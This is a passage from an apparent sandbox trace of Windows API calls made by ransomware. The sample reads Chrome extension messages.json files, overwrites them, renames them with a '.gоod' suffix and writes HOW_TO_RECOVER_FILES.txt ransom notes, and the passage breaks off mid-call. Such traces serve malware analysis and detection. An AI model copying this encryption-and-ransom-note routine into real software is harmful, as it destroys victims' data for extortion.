lpFilePart=0x0) returned 0x89 [0268.236] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebd10) returned 1 [0268.236] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mn\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mn\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x3a45798 | out: lpFileInformation=0x3a45798*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8619ba9, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe861c1c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x1981d900, ftLastWriteTime.dwHighDateTime=0x1d17872, nFileSizeHigh=0x0, nFileSizeLow=0x1c3)) returned 1 [0268.237] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebcd0) returned 1 [0268.237] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mn\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mn\\messages.json", lpFilePart=0x0) returned 0x89 [0268.237] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebbc0) returned 1 [0268.237] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mn\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mn\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0268.237] GetFileType (hFile=0x828) returned 0x1 [0268.237] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebb30) returned 1 [0268.237] GetFileType (hFile=0x828) returned 0x1 [0268.237] GetFileSize (in: hFile=0x828, lpFileSizeHigh=0x209ebd68 | out: lpFileSizeHigh=0x209ebd68*=0x0) returned 0x1c3 [0268.237] ReadFile (in: hFile=0x828, lpBuffer=0x3a45d18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x209ebc98, lpOverlapped=0x0 | out: lpBuffer=0x3a45d18*, lpNumberOfBytesRead=0x209ebc98*=0x1c3, lpOverlapped=0x0) returned 1 [0268.238] CloseHandle (hObject=0x828) returned 1 [0268.332] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mn\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mn\\messages.json", lpFilePart=0x0) returned 0x89 [0268.332] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebbc0) returned 1 [0268.332] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mn\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mn\\messages.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0268.332] GetFileType (hFile=0x828) returned 0x1 [0268.332] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebb30) returned 1 [0268.333] GetFileType (hFile=0x828) returned 0x1 [0268.333] WriteFile (in: hFile=0x828, lpBuffer=0x3abeb90*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x209ebba8, lpOverlapped=0x0 | out: lpBuffer=0x3abeb90*, lpNumberOfBytesWritten=0x209ebba8*=0x1d0, lpOverlapped=0x0) returned 1 [0268.333] CloseHandle (hObject=0x828) returned 1 [0268.333] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mn\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mn\\messages.json", lpFilePart=0x0) returned 0x89 [0268.333] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mn\\messages.json.gоod", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mn\\messages.json.gоod", lpFilePart=0x0) returned 0x8e [0268.333] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebcd0) returned 1 [0268.333] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mn\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mn\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x209ebdb0 | out: lpFileInformation=0x209ebdb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8619ba9, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe861c1c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x9c2671cb, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1d0)) returned 1 [0268.333] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebc90) returned 1 [0268.333] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mn\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mn\\messages.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mn\\messages.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mn\\messages.json.gоod")) returned 1 [0268.334] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mn\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x209eb9b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mn\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x94 [0268.334] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebed0) returned 1 [0268.334] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mn\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mn\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x828 [0268.335] GetFileType (hFile=0x828) returned 0x1 [0268.335] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe40) returned 1 [0268.335] GetFileType (hFile=0x828) returned 0x1 [0268.335] WriteFile (in: hFile=0x828, lpBuffer=0x3ac24c8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x209ebf98, lpOverlapped=0x0 | out: lpBuffer=0x3ac24c8*, lpNumberOfBytesWritten=0x209ebf98*=0x5d0, lpOverlapped=0x0) returned 1 [0268.336] CloseHandle (hObject=0x828) returned 1 [0268.336] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebf60) returned 1 [0268.336] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mr", nBufferLength=0x105, lpBuffer=0x209eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mr", lpFilePart=0x0) returned 0x7b [0268.336] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mr\\*", lpFindFileData=0x209ebc80 | out: lpFindFileData=0x209ebc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe86237ee, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe862ad20, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe862ad20, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134abc0 [0268.336] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe86237ee, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe862ad20, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe862ad20, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.337] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe862ad20, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe862ac22, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b4c617, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x12c, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0268.337] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0268.337] FindClose (in: hFindFile=0x134abc0 | out: hFindFile=0x134abc0) returned 1 [0268.337] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebea0) returned 1 [0268.337] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe60) returned 1 [0268.337] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebf60) returned 1 [0268.337] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mr", nBufferLength=0x105, lpBuffer=0x209eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mr", lpFilePart=0x0) returned 0x7b [0268.337] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mr\\*", lpFindFileData=0x209ebc80 | out: lpFindFileData=0x209ebc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe86237ee, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe862ad20, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe862ad20, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ace0 [0268.337] FindNextFileW (in: hFindFile=0x134ace0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe86237ee, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe862ad20, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe862ad20, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.397] FindNextFileW (in: hFindFile=0x134ace0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe862ad20, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe862ac22, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b4c617, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x12c, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0268.450] FindNextFileW (in: hFindFile=0x134ace0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe862ad20, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe862ac22, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b4c617, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x12c, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0268.450] FindClose (in: hFindFile=0x134ace0 | out: hFindFile=0x134ace0) returned 1 [0268.450] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebea0) returned 1 [0268.450] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe60) returned 1 [0268.450] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mr\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mr\\messages.json", lpFilePart=0x0) returned 0x89 [0268.450] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebd10) returned 1 [0268.450] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mr\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x3995480 | out: lpFileInformation=0x3995480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe862ad20, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe862ac22, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b4c617, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x12c)) returned 1 [0268.451] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebcd0) returned 1 [0268.451] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mr\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mr\\messages.json", lpFilePart=0x0) returned 0x89 [0268.451] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebbc0) returned 1 [0268.451] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mr\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0268.451] GetFileType (hFile=0x828) returned 0x1 [0268.451] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebb30) returned 1 [0268.451] GetFileType (hFile=0x828) returned 0x1 [0268.451] GetFileSize (in: hFile=0x828, lpFileSizeHigh=0x209ebd68 | out: lpFileSizeHigh=0x209ebd68*=0x0) returned 0x12c [0268.451] ReadFile (in: hFile=0x828, lpBuffer=0x3995968, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x209ebc98, lpOverlapped=0x0 | out: lpBuffer=0x3995968*, lpNumberOfBytesRead=0x209ebc98*=0x12c, lpOverlapped=0x0) returned 1 [0268.451] CloseHandle (hObject=0x828) returned 1 [0268.478] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mr\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mr\\messages.json", lpFilePart=0x0) returned 0x89 [0268.481] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebbc0) returned 1 [0268.482] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mr\\messages.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0268.482] GetFileType (hFile=0x828) returned 0x1 [0268.482] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebb30) returned 1 [0268.483] GetFileType (hFile=0x828) returned 0x1 [0268.483] WriteFile (in: hFile=0x828, lpBuffer=0x3a0d880*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x209ebba8, lpOverlapped=0x0 | out: lpBuffer=0x3a0d880*, lpNumberOfBytesWritten=0x209ebba8*=0x130, lpOverlapped=0x0) returned 1 [0268.483] CloseHandle (hObject=0x828) returned 1 [0268.483] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mr\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mr\\messages.json", lpFilePart=0x0) returned 0x89 [0268.483] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mr\\messages.json.gоod", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mr\\messages.json.gоod", lpFilePart=0x0) returned 0x8e [0268.483] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebcd0) returned 1 [0268.483] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mr\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x209ebdb0 | out: lpFileInformation=0x209ebdb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe862ad20, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe862ac22, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x9c3ea534, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x130)) returned 1 [0268.483] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebc90) returned 1 [0268.483] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mr\\messages.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mr\\messages.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mr\\messages.json.gоod")) returned 1 [0268.484] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mr\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x209eb9b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mr\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x94 [0268.484] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebed0) returned 1 [0268.484] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mr\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mr\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x834 [0269.338] GetFileType (hFile=0x834) returned 0x1 [0269.338] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe40) returned 1 [0269.338] GetFileType (hFile=0x834) returned 0x1 [0269.338] WriteFile (in: hFile=0x834, lpBuffer=0x3775668*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x209ebf98, lpOverlapped=0x0 | out: lpBuffer=0x3775668*, lpNumberOfBytesWritten=0x209ebf98*=0x5d0, lpOverlapped=0x0) returned 1 [0269.339] CloseHandle (hObject=0x834) returned 1 [0269.339] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebf60) returned 1 [0269.339] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ms", nBufferLength=0x105, lpBuffer=0x209eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ms", lpFilePart=0x0) returned 0x7b [0269.460] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ms\\*", lpFindFileData=0x209ebc80 | out: lpFindFileData=0x209ebc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8632242, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8637077, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8637077, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134abc0 [0269.621] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8632242, ftCreationTime.dwHighDateTime=0x1d327cb, 